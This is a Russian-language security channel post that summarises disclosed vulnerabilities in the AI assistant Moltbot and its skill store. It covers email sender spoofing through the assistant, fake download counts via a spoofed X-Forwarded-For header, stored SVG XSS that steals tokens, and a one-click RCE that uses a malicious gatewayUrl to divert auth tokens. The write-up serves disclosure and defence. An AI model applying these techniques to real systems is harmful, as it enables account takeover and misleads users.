➡Простите, но продолжение; Хочется обсудить ещё несколько проблем, которые были обнаружены специалистами по безопасности в ИИ-ассистенте
0️⃣ E-MAIL SPOOFING
🔖 x.com/slonser_/status/2016114641105998086
Помните ресерч @slonser_notes про проблемы парсинга в почтовых сервисах / библиотеках — ‟Old new email attacks”? Вот ещё один вариант его применения: судя по посту, вектор примерно такой ⬇️
⬜️
▪️ X➡️Y: ✉️
▪️ Moltbot: парсит ✉️ от X➡️передаёт Y
⚡️ НО из-за некорректного парсинга специально сформированного письма Moltbot пишет Y, что письмо пришло от, например, Z
▪️ Y отвечает через Moltbot, думая, что отвечает Z➡️ответ получает X
⬜️
1️⃣ НАКРУТКА СТАТИСТИКИ
🔖 ‟eating lobster souls Part II: the supply chain”
У Moltbot есть собственный Open-Source "магазин" навыков –
▪️
downloadZip: собирает навык, формирует архив, вызывает increment;▪️
increment: делает +1 к статистике по скачиваниям навыка;*️⃣ Нет: лимитов / привязки к пользователю;
*️⃣ Есть: в других местах – такая проверка IP ⬇️
// convex/httpApiV1.ts:695-704
function getClientIp(request: Request) {
const header =
request.headers.get('cf-connecting-ip') ??
request.headers.get('x-real-ip') ??
request.headers.get('x-forwarded-for') ??
request.headers.get('fly-client-ip')
if (!header) return null
if (header.includes(',')) return header.split(',')[0]?.trim() || null
return header.trim()
}
➡️ Проверка IP адреса доверяет заголовку
X-Forwarded-For: значит, перебирая значения заголовка, возможно заставить магазин думать, что установки навыка были "уникальными" — злоумышленник может создать вредоносный навык➕без труда вывести его в топ по скачиваниям ⚡️2️⃣ XSS через SVG
🔖 ‟eating lobster souls Part III (the finale)”
Наконец, при загрузке навыка в MoltHub, магазин сохраняет информацию о том, какой был указан
Content-Type:// convex/httpApiV1.ts:555-564
const contentType = file.type || undefined
Сохраняет настолько, что при выгрузке навыка пользователем, ему возвращается ровно такой же
Content-Type:// convex/httpApiV1.ts:377-386
'Content-Type': file.contentType
*️⃣ Нет: фильтрации / санитизации / CSP / отдельного домена для загрузок / ...;
*️⃣ Есть: MoltHub хранит
authToken / authRefreshToken / ... в localStorage;➡️ Если загрузить в навык
SVG, внутри которого – XHTML с полезной нагрузкой для эксплуатации XSS, отображение SVG приводило к выполнению JS кода атакующего в контексте clawdhub.com, где явно есть что эксплуатировать➕эксфильтровать ⚡️3️⃣ 1-CLICK RCE
🔖 ‟One-click RCE on Clawd/Moltbot”
🔗 github.com/ethiack/moltbot-1click-rce
А тут сюр [в хорошем смысле]: ИИ нашёл уязвимость в ИИ (Hackian / Moltbot);
⬜️
В пути к "Clawdbot Control" можно передать параметрgatewayUrl, ссылающийся на WebSocket:{DASHBOARD}/chat?gatewayUrl=wss://{GATEWAY}/gw
▪ Предыдущее значениеgatewayUrlпереписывается
▪ На новыйgatewayUrlсразу приходят токены изlocalStorage
▪ Далее API запросы будут летать по новому пути;
⬜️
➡ Пользователь может попасть на вредоносный сайт, который будет открывать окно с
{DASHBOARD}/chat?gatewayUrl=wss://{MALICIOUS-GATEWAY}/gw➕окно, в котором [после получения токена] произойдёт валидация токена и открытие сессии с ботом, у которого запросят удалённое выполнение команд ⚡➡Stay safe!
@HaHacking 🐇
